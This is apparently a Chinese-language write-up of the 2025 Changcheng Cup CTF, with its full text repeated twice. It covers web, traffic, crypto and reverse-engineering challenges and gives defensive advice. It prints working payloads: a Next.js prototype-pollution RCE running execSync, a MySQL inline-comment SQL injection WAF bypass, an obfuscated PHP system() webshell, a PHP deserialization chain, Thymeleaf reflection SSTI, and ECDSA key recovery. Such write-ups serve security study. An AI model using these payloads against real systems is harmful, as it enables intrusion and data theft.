2025年第三届长城杯CTF详细题解
字数 2612
更新时间 2025-12-31 12:35:15
2025年第三届长城杯CTF题解与知识点教学
概述
本文基于2025年第三届长城杯CTF比赛的详细题解,系统性地整理了Web安全、流量分析、密码学和逆向工程等领域的实战技巧与原理分析。通过具体题目案例,深入剖析各类漏洞的发现、利用与防御方法。
一、Web安全篇
1.1 Next.js RCE漏洞(CVE-2025-55182)
漏洞原理
- 漏洞类型:服务端请求伪造(SSRF)结合原型链污染
- 影响版本:Next.js特定版本(基于题目推断)
- 关键点:通过
Next-Action头触发服务端动作处理机制,利用JSON序列化漏洞污染原型链,最终实现远程代码执行。
利用步骤
- 构造恶意请求:
POST /apps HTTP/2
Next-Action: x
Content-Type: multipart/form-data
- 污染原型链:
{
"then":"$1:__proto__:then",
"status":"resolved_model",
"value":"{"then":"$B1337"}",
"_response":{
"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /f*').toString().trim();;throw ...",
"_formData":{"get":"$1:constructor:constructor"}
}
}
- 执行系统命令:通过
execSync执行任意命令获取flag。
防御方案
- 升级Next.js到安全版本
- 验证用户输入的JSON数据
- 禁用不必要的服务端功能
1.2 SQL注入与WAF绕过
题目特征
- 存在AI驱动的WAF,检测关键字如
union、select - 使用MySQL数据库(版本>5.00.00)
绕过技术:内联注释
-1'/*!50000union*/ /*!50000select*/ database(),2,3#
- 原理:
/*!50000 */在MySQL 5.00.00及以上版本会被执行,但WAF可能误判为注释 - 步骤:
- 探测注入点:
-1'引发错误 - 获取表名:
group_concat(table_name) from information_schema.tables - 获取列名:
group_concat(column_name) from information_schema.columns - 读取数据:直接查询目标表
- 探测注入点:
防御建议
- 使用参数化查询
- WAF规则需要覆盖内联注释变种
- 最小化数据库用户权限
1.3 DedeCMS权限提升与代码执行
漏洞链分析
- 弱口令爆破:通过前台登录框爆破管理员密码(admin/admin123)
- 权限提升漏洞:普通用户Aa123456789可提升其他用户至超级管理员
- 模板注入RCE:通过"标签源码管理"插入PHP代码
代码执行绕过
<?php
$a = substr_replace("systxx","em",4);
$a('cat /f*')
?>
- 关键点:使用字符串操作函数绕过"system"关键字检测
- 利用条件:需要超级管理员权限+模板写入权限
安全加固
- 强化密码策略
- 审计权限分配逻辑
- 限制模板修改权限
1.4 PHP反序列化漏洞
漏洞链构造
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }
$a=new A(); $b=new B(); $c=new C();
$a->handle=$b; $b->worker=$c;
$c->cmd="php://filter/convert.base64-encode/resource=/flag";
- 触发路径:
A::triggerMethod() → B::__toString() → C::__get() - 利用技术:通过PHP伪协议直接读取文件内容
序列化数据
O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:52:"php://filter/convert.base64-encode/resource=/flag";}s:3:"cmd";N;}}
防护措施
- 避免使用
__destruct、__toString等魔术方法执行危险操作 - 使用允许类列表进行反序列化
1.5 Thymeleaf模板注入
漏洞场景
- 预览功能支持表达式执行,如
7*7返回49 - 默认禁用
T(T()表达式),但可通过反射绕过
反射利用技术
// 读取目录列表
${#strings.arrayJoin(#strings.getClass().forName('java.nio.file.Files')
.getMethod('list', #strings.getClass().forName('java.nio.file.Path'))
.invoke(null, #strings.getClass().forName('java.nio.file.Paths')
.getMethod('get', #strings.getClass().forName('java.lang.String'))
.invoke(null, '/')), ', ')}
// 读取文件内容
${#strings.getClass().forName('java.nio.file.Files')
.getMethod('readAllLines', #strings.getClass().forName('java.nio.file.Path'))
.invoke(null, #strings.getClass().forName('java.nio.file.Paths')
.getMethod('get', #strings.getClass().forName('java.lang.String'))
.invoke(null, '/flag_file'))}
安全建议
- 禁用Thymeleaf表达式执行
- 使用沙箱环境处理用户输入
二、流量分析篇
2.1 SnakeBackdoor后门分析
后门特征识别
- 通信特征:特定HTTP头
X-Token-Auth: 3011aa21232beb7504432bfa90d32779 - 加密方式:RC4算法,密钥
v1p3r_5tr1k3_k3y - 数据格式:hex编码的RC4加密数据
解密脚本
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
# Key-scheduling algorithm
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-random generation algorithm
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
分析技巧
- 使用Wireshark过滤:
http.request.method == "POST" - 追踪HTTP流查找关键操作
- 注意base64/zlib编码的多层嵌套
2.2 SM4算法识别与密钥恢复
算法特征
- 32轮迭代结构
- 128位分组长度
- 特定S盒变换
密钥生成逻辑
// 伪随机数生成种子
srand(0x34952046);
uint32_t v8[4];
for(int i=0; i<4; i++) {
v8[i] = (uint32_t)rand();
}
流量解密流程
- 从流量包提取4字节随机种子
- 生成SM4加密密钥
- 解密通信内容
三、密码学篇
3.1 ECDSA非ce预测攻击
漏洞原理
- 正常签名:
s = k⁻¹(H(m) + r*d) mod n - 预测nonce:
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") - 私钥恢复:
d = r⁻¹(s*k - H(m)) mod n
利用脚本
def recover_private_key(msg, sig, index):
k = int.from_bytes(sha512(b"bias" + bytes([index])).digest(), "big")
r, s = sig
h = bytes_to_long(sha1(msg).digest())
r_inv = pow(r, n-2, n) # 模逆
d = (r_inv * (s * k - h)) % n
return d
防护措施
- 使用密码学安全的随机数生成器
- 避免基于时间或计数器的nonce生成
3.2 RSA嵌套攻击(p-1光滑素数)
素数生成漏洞
def get_smooth_prime(bits=1024, smoothness=20, max_prime=None):
# 生成p-1包含很多小因子的素数
factors = [2]
if max_prime: factors.append(max_prime)
# 累积小素数直到接近目标位数
for p in primerange(3, 2**smoothness):
factors.append(p)
tmpp = product(factors)
# 调整到目标位数
prime1 = get_prime(bits//4)
prime2 = get_prime(bits//4)
tmpp *= prime1 * prime2
while True:
if is_prime(tmpp + 1):
return tmpp + 1
tmpp *= 2
分解攻击
- 外层分解:使用Pollard's p-1算法分解n(因p-1光滑)
- 内层恢复:从p-1中提取内层素数
p1 = gcd(p-1, n1)
攻击脚本
def pollard_p1(n, B=2**20):
a = pow(2, n1, n) # 预处理加速
for p in primerange(2, B):
pk = p
while pk * p <= B: pk *= p
a = pow(a, pk, n)
if p % 300 == 0:
g = gcd(a-1, n)
if 1 < g < n: return g
return None
四、逆向工程篇
4.1 WASM认证绕过
分析要点
- WASM文件导出
authenticate函数 - 依赖
Date.now()导入函数 - 自定义Base64码表:
NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO
爆破策略
// 时间范围爆破
const start = new Date('2025-12-22T00:00:00+08:00').getTime();
const end = new Date('2025-12-22T06:00:00+08:00').getTime();
for(let timestamp = start; timestamp <= end; timestamp += 1000) {
const result = wasmInstance.exports.authenticate(timestamp);
const hash = md5(JSON.stringify(result));
if(hash.startsWith('ccaf33e3512e31f3')) {
console.log("Found:", timestamp, hash);
}
}
4.2 游戏逆向(AES-ECB)
关键逻辑
- 初始密钥:
FanAglFanAglOoO! - 运行时修改:吃到金币后
Flag.key = Flag.key.replace("A", "B") - 最终密钥:
FanBglFanBglOoO!
解密脚本
from Crypto.Cipher import AES
ciphertext = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
key = "FanBglFanBglOoO!".encode()
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext) # wOW~youAregrEaT!
4.3 Go二进制网络协议分析
协议结构
ET3RNUMX[4字节长度][12字节Nonce][密文]
解密流程
- 从二进制中提取AES-256密钥:
xfqGcVjrOWp5tUGCPFQq448nPDjILTe7 - 使用AES-GCM模式解密(12字节Nonce)
- 解码攻击者执行的命令结果
关键发现
- 攻击者执行:
base32 /var/opt/secret - 解码得到flag哈希值
五、综合防护建议
5.1 开发安全
- 及时更新框架和依赖库
- 实施安全的反序列化策略
- 使用参数化查询防御SQL注入
- 对用户输入进行严格验证和过滤
5.2 密码学安全
- 使用真随机数生成器
- 避免自定义加密算法
- 实施完善的密钥管理策略
- 定期进行安全审计
5.3 网络防护
- 部署WAF并定期更新规则
- 监控异常网络流量
- 加密敏感通信数据
- 实施网络分段隔离
5.4 安全开发生命周期
- 在开发初期考虑安全需求
- 进行代码安全审查
- 实施渗透测试和红队演练
- 建立应急响应机制
通过系统学习以上CTF题解中的技术点,安全研究人员可以深入理解现代Web应用中的常见漏洞类型、利用手法和防御策略,提升实战能力。
2025年第三届长城杯CTF题解与知识点教学
概述
本文基于2025年第三届长城杯CTF比赛的详细题解,系统性地整理了Web安全、流量分析、密码学和逆向工程等领域的实战技巧与原理分析。通过具体题目案例,深入剖析各类漏洞的发现、利用与防御方法。
一、Web安全篇
1.1 Next.js RCE漏洞(CVE-2025-55182)
漏洞原理
- 漏洞类型:服务端请求伪造(SSRF)结合原型链污染
- 影响版本:Next.js特定版本(基于题目推断)
- 关键点:通过
Next-Action头触发服务端动作处理机制,利用JSON序列化漏洞污染原型链,最终实现远程代码执行。
利用步骤
- 构造恶意请求:
POST /apps HTTP/2
Next-Action: x
Content-Type: multipart/form-data
- 污染原型链:
{
"then":"$1:__proto__:then",
"status":"resolved_model",
"value":"{"then":"$B1337"}",
"_response":{
"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /f*').toString().trim();;throw ...",
"_formData":{"get":"$1:constructor:constructor"}
}
}
- 执行系统命令:通过
execSync执行任意命令获取flag。
防御方案
- 升级Next.js到安全版本
- 验证用户输入的JSON数据
- 禁用不必要的服务端功能
1.2 SQL注入与WAF绕过
题目特征
- 存在AI驱动的WAF,检测关键字如
union、select - 使用MySQL数据库(版本>5.00.00)
绕过技术:内联注释
-1'/*!50000union*/ /*!50000select*/ database(),2,3#
- 原理:
/*!50000 */在MySQL 5.00.00及以上版本会被执行,但WAF可能误判为注释 - 步骤:
- 探测注入点:
-1'引发错误 - 获取表名:
group_concat(table_name) from information_schema.tables - 获取列名:
group_concat(column_name) from information_schema.columns - 读取数据:直接查询目标表
- 探测注入点:
防御建议
- 使用参数化查询
- WAF规则需要覆盖内联注释变种
- 最小化数据库用户权限
1.3 DedeCMS权限提升与代码执行
漏洞链分析
- 弱口令爆破:通过前台登录框爆破管理员密码(admin/admin123)
- 权限提升漏洞:普通用户Aa123456789可提升其他用户至超级管理员
- 模板注入RCE:通过"标签源码管理"插入PHP代码
代码执行绕过
<?php
$a = substr_replace("systxx","em",4);
$a('cat /f*')
?>
- 关键点:使用字符串操作函数绕过"system"关键字检测
- 利用条件:需要超级管理员权限+模板写入权限
安全加固
- 强化密码策略
- 审计权限分配逻辑
- 限制模板修改权限
1.4 PHP反序列化漏洞
漏洞链构造
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }
$a=new A(); $b=new B(); $c=new C();
$a->handle=$b; $b->worker=$c;
$c->cmd="php://filter/convert.base64-encode/resource=/flag";
- 触发路径:
A::triggerMethod() → B::__toString() → C::__get() - 利用技术:通过PHP伪协议直接读取文件内容
序列化数据
O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:52:"php://filter/convert.base64-encode/resource=/flag";}s:3:"cmd";N;}}
防护措施
- 避免使用
__destruct、__toString等魔术方法执行危险操作 - 使用允许类列表进行反序列化
1.5 Thymeleaf模板注入
漏洞场景
- 预览功能支持表达式执行,如
7*7返回49 - 默认禁用
T(T()表达式),但可通过反射绕过
反射利用技术
// 读取目录列表
${#strings.arrayJoin(#strings.getClass().forName('java.nio.file.Files')
.getMethod('list', #strings.getClass().forName('java.nio.file.Path'))
.invoke(null, #strings.getClass().forName('java.nio.file.Paths')
.getMethod('get', #strings.getClass().forName('java.lang.String'))
.invoke(null, '/')), ', ')}
// 读取文件内容
${#strings.getClass().forName('java.nio.file.Files')
.getMethod('readAllLines', #strings.getClass().forName('java.nio.file.Path'))
.invoke(null, #strings.getClass().forName('java.nio.file.Paths')
.getMethod('get', #strings.getClass().forName('java.lang.String'))
.invoke(null, '/flag_file'))}
安全建议
- 禁用Thymeleaf表达式执行
- 使用沙箱环境处理用户输入
二、流量分析篇
2.1 SnakeBackdoor后门分析
后门特征识别
- 通信特征:特定HTTP头
X-Token-Auth: 3011aa21232beb7504432bfa90d32779 - 加密方式:RC4算法,密钥
v1p3r_5tr1k3_k3y - 数据格式:hex编码的RC4加密数据
解密脚本
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
# Key-scheduling algorithm
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-random generation algorithm
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
分析技巧
- 使用Wireshark过滤:
http.request.method == "POST" - 追踪HTTP流查找关键操作
- 注意base64/zlib编码的多层嵌套
2.2 SM4算法识别与密钥恢复
算法特征
- 32轮迭代结构
- 128位分组长度
- 特定S盒变换
密钥生成逻辑
// 伪随机数生成种子
srand(0x34952046);
uint32_t v8[4];
for(int i=0; i<4; i++) {
v8[i] = (uint32_t)rand();
}
流量解密流程
- 从流量包提取4字节随机种子
- 生成SM4加密密钥
- 解密通信内容
三、密码学篇
3.1 ECDSA非ce预测攻击
漏洞原理
- 正常签名:
s = k⁻¹(H(m) + r*d) mod n - 预测nonce:
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") - 私钥恢复:
d = r⁻¹(s*k - H(m)) mod n
利用脚本
def recover_private_key(msg, sig, index):
k = int.from_bytes(sha512(b"bias" + bytes([index])).digest(), "big")
r, s = sig
h = bytes_to_long(sha1(msg).digest())
r_inv = pow(r, n-2, n) # 模逆
d = (r_inv * (s * k - h)) % n
return d
防护措施
- 使用密码学安全的随机数生成器
- 避免基于时间或计数器的nonce生成
3.2 RSA嵌套攻击(p-1光滑素数)
素数生成漏洞
def get_smooth_prime(bits=1024, smoothness=20, max_prime=None):
# 生成p-1包含很多小因子的素数
factors = [2]
if max_prime: factors.append(max_prime)
# 累积小素数直到接近目标位数
for p in primerange(3, 2**smoothness):
factors.append(p)
tmpp = product(factors)
# 调整到目标位数
prime1 = get_prime(bits//4)
prime2 = get_prime(bits//4)
tmpp *= prime1 * prime2
while True:
if is_prime(tmpp + 1):
return tmpp + 1
tmpp *= 2
分解攻击
- 外层分解:使用Pollard's p-1算法分解n(因p-1光滑)
- 内层恢复:从p-1中提取内层素数
p1 = gcd(p-1, n1)
攻击脚本
def pollard_p1(n, B=2**20):
a = pow(2, n1, n) # 预处理加速
for p in primerange(2, B):
pk = p
while pk * p <= B: pk *= p
a = pow(a, pk, n)
if p % 300 == 0:
g = gcd(a-1, n)
if 1 < g < n: return g
return None
四、逆向工程篇
4.1 WASM认证绕过
分析要点
- WASM文件导出
authenticate函数 - 依赖
Date.now()导入函数 - 自定义Base64码表:
NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO
爆破策略
// 时间范围爆破
const start = new Date('2025-12-22T00:00:00+08:00').getTime();
const end = new Date('2025-12-22T06:00:00+08:00').getTime();
for(let timestamp = start; timestamp <= end; timestamp += 1000) {
const result = wasmInstance.exports.authenticate(timestamp);
const hash = md5(JSON.stringify(result));
if(hash.startsWith('ccaf33e3512e31f3')) {
console.log("Found:", timestamp, hash);
}
}
4.2 游戏逆向(AES-ECB)
关键逻辑
- 初始密钥:
FanAglFanAglOoO! - 运行时修改:吃到金币后
Flag.key = Flag.key.replace("A", "B") - 最终密钥:
FanBglFanBglOoO!
解密脚本
from Crypto.Cipher import AES
ciphertext = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
key = "FanBglFanBglOoO!".encode()
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext) # wOW~youAregrEaT!
4.3 Go二进制网络协议分析
协议结构
ET3RNUMX[4字节长度][12字节Nonce][密文]
解密流程
- 从二进制中提取AES-256密钥:
xfqGcVjrOWp5tUGCPFQq448nPDjILTe7 - 使用AES-GCM模式解密(12字节Nonce)
- 解码攻击者执行的命令结果
关键发现
- 攻击者执行:
base32 /var/opt/secret - 解码得到flag哈希值
五、综合防护建议
5.1 开发安全
- 及时更新框架和依赖库
- 实施安全的反序列化策略
- 使用参数化查询防御SQL注入
- 对用户输入进行严格验证和过滤
5.2 密码学安全
- 使用真随机数生成器
- 避免自定义加密算法
- 实施完善的密钥管理策略
- 定期进行安全审计
5.3 网络防护
- 部署WAF并定期更新规则
- 监控异常网络流量
- 加密敏感通信数据
- 实施网络分段隔离
5.4 安全开发生命周期
- 在开发初期考虑安全需求
- 进行代码安全审查
- 实施渗透测试和红队演练
- 建立应急响应机制
通过系统学习以上CTF题解中的技术点,安全研究人员可以深入理解现代Web应用中的常见漏洞类型、利用手法和防御策略,提升实战能力。